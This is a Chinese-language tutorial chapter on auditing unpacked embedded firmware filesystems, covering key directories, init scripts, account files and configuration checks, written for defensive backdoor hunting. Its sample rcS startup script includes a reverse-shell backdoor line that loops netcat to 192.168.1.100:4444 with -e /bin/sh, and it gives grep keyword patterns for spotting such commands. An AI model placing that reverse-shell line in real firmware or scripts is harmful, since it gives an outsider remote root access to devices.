4、固件文件系统分析：文件系统结构、关键目录、启动脚本与配置文件审计

好，我们进入正题。固件解包之后，你拿到的是一个完整的文件系统。这时候别急着到处翻，先搞清楚它长什么样。说白了，文件系统就是固件的骨架，所有后门、漏洞、异常配置都藏在这些目录和文件里。

4.1 文件系统结构概览

嵌入式固件最常见的文件系统是 SquashFS、JFFS2 和 YAFFS2。解包后你会看到类似 Linux 根目录的结构，但精简很多。我见过有些厂商直接把整个根目录塞进一个 4MB 的 squashfs 镜像里，连 /proc 和 /sys 都懒得挂——嗯，这其实挺常见的。

典型的固件文件系统长这样：

/
├── bin/        # 用户态核心命令
├── sbin/       # 系统管理命令
├── etc/        # 配置文件
├── init.d/     # 启动脚本（或 /etc/init.d）
├── lib/        # 动态链接库
├── usr/        # 用户程序和数据
├── var/        # 运行时数据
├── dev/        # 设备节点
├── proc/       # 进程信息（通常是空目录）
├── tmp/        # 临时文件
└── mnt/        # 挂载点

我个人习惯，拿到文件系统后第一件事就是看 /bin 和 /sbin 里有没有异常的可执行文件。为什么？因为后门程序最喜欢藏在这两个地方，伪装成系统命令。

核心思路： 文件系统分析不是通读所有文件，而是带着问题去查——有没有异常启动项？有没有硬编码凭据？有没有可疑的二进制文件？

4.2 关键目录深度分析

/bin 和 /sbin —— 命令的藏身之处

/bin 存放的是基本用户命令，比如 ls、cat、sh。/sbin 则是系统管理命令，比如 ifconfig、mount、init。这两个目录的区别其实没那么严格，很多固件里 /sbin 就是 /bin 的软链接。

我在项目中遇到过一台路由器固件，/bin 里多了一个叫 bash 的文件。你想想看，嵌入式设备默认用 busybox 的 ash，谁会特意放一个 bash 进去？一查，果然是后门——攻击者编译了一个静态链接的 bash，用来绕过 shell 限制。

检查方法很简单：

# 列出所有可执行文件，按大小排序
ls -la /bin/ | sort -k5 -n

# 检查是否有非 busybox 的 shell
strings /bin/sh | grep -i "busybox"

# 对比已知固件版本的文件列表（如果有基线）
我的小技巧： 用 file 命令检查每个二进制文件的架构和链接方式。如果发现 ARM 架构的固件里混进了 MIPS 的二进制文件，那基本可以断定有问题。

/etc —— 配置文件的宝藏

/etc 目录是审计的重中之重。这里藏着系统所有的配置信息，包括网络、服务、用户、密码等。我常说，/etc 就是固件的“户口本”，什么底细都能翻出来。

重点关注这些文件：

文件/目录 审计要点
/etc/passwd 是否有异常用户？UID 0 的非 root 用户？
/etc/shadow 密码哈希是否为空？是否使用了弱哈希算法？
/etc/inetd.conf 是否开启了不必要的网络服务？
/etc/rc.local 启动时执行的命令，后门最爱加在这里
/etc/crontab 定时任务，攻击者用来维持持久化
/etc/ssh/ SSH 配置，是否有 authorized_keys 后门？

我曾经在一个 IP 摄像头的固件里，发现 /etc/passwd 里有一个叫 debug 的用户，UID 是 0，密码哈希是空的。这意味着任何人都可以 telnet 进去，直接以 root 身份登录。嗯，这种低级错误在 IoT 设备里比比皆是。

/init.d —— 启动脚本的战场

启动脚本是固件后门最常驻留的地方。嵌入式设备通常使用 BusyBox 的 init 系统，启动脚本放在 /etc/init.d/ 或 /etc/rc.d/ 下。有些设备用 System V 风格的 init，有些用 OpenRC，还有些自己写了一套启动逻辑。

启动脚本的典型结构：

/etc/init.d/
├── rcS          # 系统初始化主脚本
├── S01network   # 网络服务启动
├── S02telnet    # Telnet 服务
├── S03httpd     # Web 服务
├── S04dropbear  # SSH 服务
└── S99custom    # 用户自定义启动项

注意看 S99custom 这种脚本——数字越大，启动越晚。攻击者喜欢把后门放在 S99 或 S90 这样的脚本里，确保系统其他服务都启动完了再执行后门。

避坑指南： 我曾经遇到一个后门，它没有直接写在启动脚本里，而是通过 inotify 监控 /etc/init.d/ 目录，等系统启动完后再注入恶意代码。所以光看脚本内容还不够，还得检查有没有监控机制。

4.3 启动脚本分析实战

分析启动脚本，我一般按这个流程走：

  1. 找到主入口：通常是 /etc/inittab 或 /etc/init.d/rcS
  2. 追踪执行链：看 rcS 调用了哪些脚本，按顺序执行
  3. 检查每个脚本：重点关注网络服务、远程访问、自定义命令
  4. 查找异常行为：比如下载文件、修改防火墙规则、添加用户

举个例子，下面是一个典型的 rcS 脚本：

#!/bin/sh
# 挂载文件系统
mount -t proc none /proc
mount -t sysfs none /sys

# 设置网络
ifconfig eth0 192.168.1.1 netmask 255.255.255.0

# 启动服务
/etc/init.d/S01telnet start
/etc/init.d/S02httpd start

# 后门！启动反向 shell
nohup /bin/sh -c "while true; do /bin/nc 192.168.1.100 4444 -e /bin/sh; sleep 60; done" &

看到最后一行了吗？这就是典型的反向 shell 后门。它每 60 秒尝试连接一次攻击者的服务器，一旦连接成功，攻击者就能拿到 shell 权限。

我的经验： 检查启动脚本时，用 grep -r "nohup\|&\|telnet\|ssh\|nc\|bash\|wget\|curl" /etc/init.d/ 快速定位可疑命令。这些关键词是后门的“标配”。

4.4 配置文件审计要点

配置文件审计，说白了就是找“不该出现的东西”。我总结了几类常见问题：

硬编码凭据

这是最蠢也最常见的后门方式。攻击者在配置文件里直接写死用户名和密码，或者把 SSH 公钥塞进 authorized_keys。

# 检查所有包含密码的配置文件
grep -r "password\|passwd\|pwd" /etc/

# 检查 SSH 公钥
cat /etc/dropbear/authorized_keys
cat /etc/ssh/authorized_keys

异常的网络服务

检查 /etc/inetd.conf 或 /etc/xinetd.d/，看有没有开启 telnet、rsh、rlogin 等不安全服务。有些固件默认开启 telnet，但端口是 2323 或 2324——这是攻击者常用的“后门端口”。

防火墙规则

检查 /etc/iptables 或 /etc/firewall 下的规则文件。攻击者可能会添加规则，允许来自特定 IP 的流量通过。

# 查看 iptables 规则
cat /etc/iptables/rules.v4

# 或者直接看启动脚本里有没有 iptables 命令
grep -r "iptables\|ip6tables" /etc/init.d/
一句话总结： 文件系统分析的核心是“对比”——对比已知的干净固件，对比厂商的官方文档，对比常见的目录结构。任何“多出来的”或“不该有的”东西，都值得深挖。

4.5 知识体系图

下面这张图展示了固件文件系统分析的核心逻辑，从解包到发现后门的完整链路：

固件文件系统分析知识体系 解包后的文件系统 关键目录审计 启动脚本分析 配置文件审计 /bin /sbin 异常二进制文件 非标准 shell 架构不匹配 /etc/init.d/ 反向 shell 命令 异常启动顺序 网络连接尝试 /etc/ 硬编码凭据 异常网络服务 防火墙后门规则 发现后门 / 安全漏洞

这张图把整个分析流程串起来了。从解包后的文件系统出发，沿着三个方向深入——关键目录、启动脚本、配置文件——最终汇聚到后门发现。你每次做固件分析，都可以按这个框架来，不会漏掉重点。

最后说一句： 文件系统分析没有捷径，就是靠细心和耐心。我刚开始做这行的时候，一个固件能翻好几天。后来经验多了，知道该看哪里了，效率才上来。但每次发现一个隐藏的后门，那种成就感——嗯，值得。

公众号:蓝海资料掘金营，微信deep3321

← 上一章 📖 返回目录 下一章 →